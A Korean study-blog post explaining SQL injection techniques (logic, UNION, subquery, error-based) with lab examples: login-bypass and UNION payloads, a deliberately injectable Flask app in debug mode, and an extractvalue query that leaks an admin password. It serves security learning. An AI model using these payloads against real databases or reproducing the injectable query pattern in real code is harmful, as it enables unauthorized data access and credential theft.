본문 바로가기
정보 보안 해킹 공부/SQL 인젝션

[SQL 인젝션] Union, Logic

by 박나무 2022. 2. 21.
반응형

SQL Injection 공격 기법

  • Logic
  • Union
  • Subquery
  • Error Based
  • Blind

SQL DML 구문에 대한 이해

  • SELECT
  • UPDATE
  • INSERT
  • DELETE

Exploit Technique

  • DBMS Fingerprinting
  • System Tables
  • WAF Bypass
  • Out Of DBMS
  • DBMS 주의사항

Logic

논리 연산을 이용한 공격 방법입니다. 대표적인 논리 연산자로는 and 연산과 or 연산이 있습니다.

ABA && B (and 연산)A || B (or 연산)

0 0 0 0
1 0 0 1
0 1 0 1
1 1 1 1

위 연산표와 같이 and 연산은 모든 조건이 참인 경우에만 결과가 참이 되지만, or 연산은 하나의 조건이라도 참이 되는 경우 결과는 참이 됩니다.

SELECT uidFROM UserTableWHERE username="admin" and userpw="admin";

위 쿼리문에서는 username이 "admin"이며 userpw가 "admin"인 데이터의 결과만 반환됩니다.

하지만 아래 쿼리문과 같이 or 연산을 사용하게 되면 모든 결과가 반환됩니다.

SELECT uidFROM UserTableWHERE username="admin" or 1;

이를 통해 해당 테이블에 존재하는 모든 데이터에 접근할 수 있습니다.

 

Union

SELECT 구문의 Union 절을 이용한 공격 방법입니다. Union 절은 다수의 SELECT 구문의 결과를 결합시키는 행위를 수행합니다.

사용 예시는 아래와 같습니다.

SELECT * FROM UserTableUNION SELECT "DreamHack", "DreamHack PW";/*+-----------+--------------+| username  | password     |+-----------+--------------+| admin     | admin        || guest     | guest        || DreamHack | DreamHack PW |+-----------+--------------+3 rows in set (0.01 sec)*/

이를 통해 원하는 다른 테이블에 접근하거나 원하는 쿼리 결과 데이터를 생성하여 어플리케이션에서 처리되는 데이터를 조작할 수 있습니다.

데이터베이스 조회 쿼리의 결과가 어플리케이션에 출력되는 경우 사용하기 유용한 공격 기법입니다.

Union 절 사용 시 특정 조건이 만족되어야 합니다.

  • 이전 SELECT 구문 과 UNION SELECT 구문의 결과 컬럼의 수가 같아야 합니다.
SELECT * FROM UserTableUNION SELECT "DreamHack", "DreamHack PW", "Third Column";/*ERROR 1222 (21000): The used SELECT statements have a different number of columns*/
  • 특정 DBMS에서 사용 시 이전 컬럼과 UNION SELECT 구문의 컬럼의 타입이 같아야 합니다.
# MSSQL (SQL Server)SELECT 'ABC'UNION SELECT 123;/*Conversion failed when converting the varchar value 'ABC' to data type int.*/

 

 

[Step 1]모든 조건이 참(True)이 되도록 설정합니다.uid=1' or '1upw=1' or '1[Step 2]Union 구문을 사용해 admin의 upw를 출력합니다.uid=' union select upw from user_table where uid='admin' or 'upw=

 

Subquery

서브 쿼리는 하나의 쿼리 내에 또 다른 쿼리를 사용하는 것을 의미합니다.

# Main QeurySELECT 1,2,3,(SELECT 456); # Sub Query/*+---+---+---+--------------+| 1 | 2 | 3 | (SELECT 456) |+---+---+---+--------------+| 1 | 2 | 3 |          456 |+---+---+---+--------------+1 row in set (0.00 sec)*/
  • 서브 쿼리를 사용하기 위해서는 (Sub Query)와 같이 괄호를 통해 선언할 수 있습니다.
  • 서브 쿼리에서는 SELECT 구문 만을 사용할 수 있습니다.

서브 쿼리를 이용하여 메인 쿼리가 접근하는 테이블이 아닌 다른 테이블에 접근하거나, SELECT 구문이 아닌 구문에서 SQL Injection이 발생하여도 서브 쿼리의 SELECT 구문을 사용하여 테이블의 데이터에 접근할 수 있습니다.

 

Subquery 사용 예시

  • COLUMNS Clause
SELECT username, (SELECT "ABCD") FROM users;/*+----------+-----------------+| username | (select "ABCD") |+----------+-----------------+| admin    | ABCD            || guest    | ABCD            |+----------+-----------------+2 rows in set (0.00 sec)*/

컬럼 절에서 사용 시 단일 행(Single row), 단일 컬럼(Singloe Column)의 결과가 반환되도록 해야합니다.

mysql> SELECT username, (SELECT "ABCD" UNION SELECT 1234) FROM users;ERROR 1242 (21000): Subquery returns more than 1 rowmysql> SELECT username, (SELECT "ABCD", 1234) FROM users;ERROR 1241 (21000): Operand should contain 1 column(s)
  • FROM Clause (Inline View)

FROM 절에서 사용되는 서브 쿼리를 Inline View라고 칭합니다.

SELECT * FROM (SELECT *, 1234 FROM users) as u;/*+----------+------+| username | 1234 |+----------+------+| admin    | 1234 || guest    | 1234 |+----------+------+2 rows in set (0.00 sec)*/

Inline View에서는 다중 행(Multiple Row), 다중 컬럼(Multiple Column)의 결과를 사용할 수 있습니다.

  • WHERE Clause

WHERE 절에서 사용 시 조건 검색을 위해 다중 행(Multiple Row)의 결과를 사용할 수 있습니다.

SELECT * FROM users WHERE username IN (SELECT "admin" UNION SELECT "guest");/*+----------+----------+| username | password |+----------+----------+| admin    | admin    || guest    | guest    |+----------+----------+2 rows in set (0.00 sec)*/

Error Based

에러 베이스는 이용자가 임의적으로 에러를 발생시켜 정보를 획득하는 공격 기법입니다.

from flask import Flask, requestimport pymysqlapp = Flask(__name__)def getConnection():  return pymysql.connect(host='localhost', user='dream', password='hack', db='dreamhack', charset='utf8')@app.route('/' , methods=['GET'])def index():  username = request.args.get('username')  sql = "select username from users where username='%s'" %username  conn = getConnection()  curs = conn.cursor(pymysql.cursors.DictCursor)  curs.execute(sql)  rows = curs.fetchall()  conn.close()  if(rows):    return "True"  else:    return "False"app.run(host='0.0.0.0', port=8000, debug=True)

위 코드는 debug 모드가 설정되어 있으며, 이용자의 입력 데이터가 SQL쿼리에 직접적으로 사용되어 SQL Injection 취약점이 발생하는 것을 알 수 있습니다. 하지만 SQL 쿼리 결과의 유무만 판단하며, 결과는 직접적으로 출력되고 있진 않습니다.

debug 모드가 설정되어 있기 때문에 SQL 쿼리 문에서 에러가 발생한다면 아래 그림과 같이 발생한 원인에 대한 에러 메시지가 노출되는 것을 확인할 수 있습니다.

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1"

admin'를 입력하여 Syntax Error가 발생하였다는 의미의 에러입니다.

위와 같이 쿼리 결과가 직접적으로 출력되지 않으며 에러 메시지가 노출되는경우 에러 메시지를 통해 주요 정보를 노출시키는 방법들이 존재합니다. 해당 방법들을 사용하여 Error Based SQL Injection을 성공적으로 활용하기 위해서는 Syntax Error와 같이 DBMS에서 해당 쿼리가 실행되기 전에 검증 가능한 에러가 아닌, Runtime 중에 발생하는 에러가 필요합니다.

아래 SQL 쿼리는 MySQL 에서 Error Based SQL Injection을 위해 많이 사용되는 공격 형태 중 하나입니다.

SELECT extractvalue(1,concat(0x3a,version()));/*ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'*/

위와 같이 에러 메시지에 중요한 정보가 같이 출력되는 것을 알 수 있습니다. 해당 원리에 대해서는 extractvalue 함수의 정상적인 사용 예시를 통해 이해할 수 있습니다.

mysql> SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a');+-----------------------------------------------+| extractvalue('<a>test</a> <b>abcd</b>', '/a') |+-----------------------------------------------+| test                                          |+-----------------------------------------------+1 row in set (0.00 sec)mysql> SELECT extractvalue(1, ':abcd');ERROR 1105 (HY000): XPATH syntax error: ':abcd'# ":" 로 시작하면 올바르지 않은 XPATH 식

extractvalue 함수는 첫번째 인자에 존재하는 xml 데이터에서 두번째 인자의 XPATH 식을 통해 데이터를 추출하는 함수입니다. 하지만 두번째 인자에 올바르지 않은 XPATH 식을 입력하게 되면 올바르지 않은 XPATH 식이라는 에러와 함께 해당 인자가 함께 출력되기 때문에 이를 이용한 공격 기법입니다.

아래와 같이 서브 쿼리를 통해 원하는 테이블의 데이터를 추출할 수도 있습니다.

mysql> SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin')));ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd'

오른쪽 탭에서는 각 DBMS에서 Error Based SQL Injection을 위해 사용하는 주요 쿼리문들에 대한 내용입니다. DB

반응형

댓글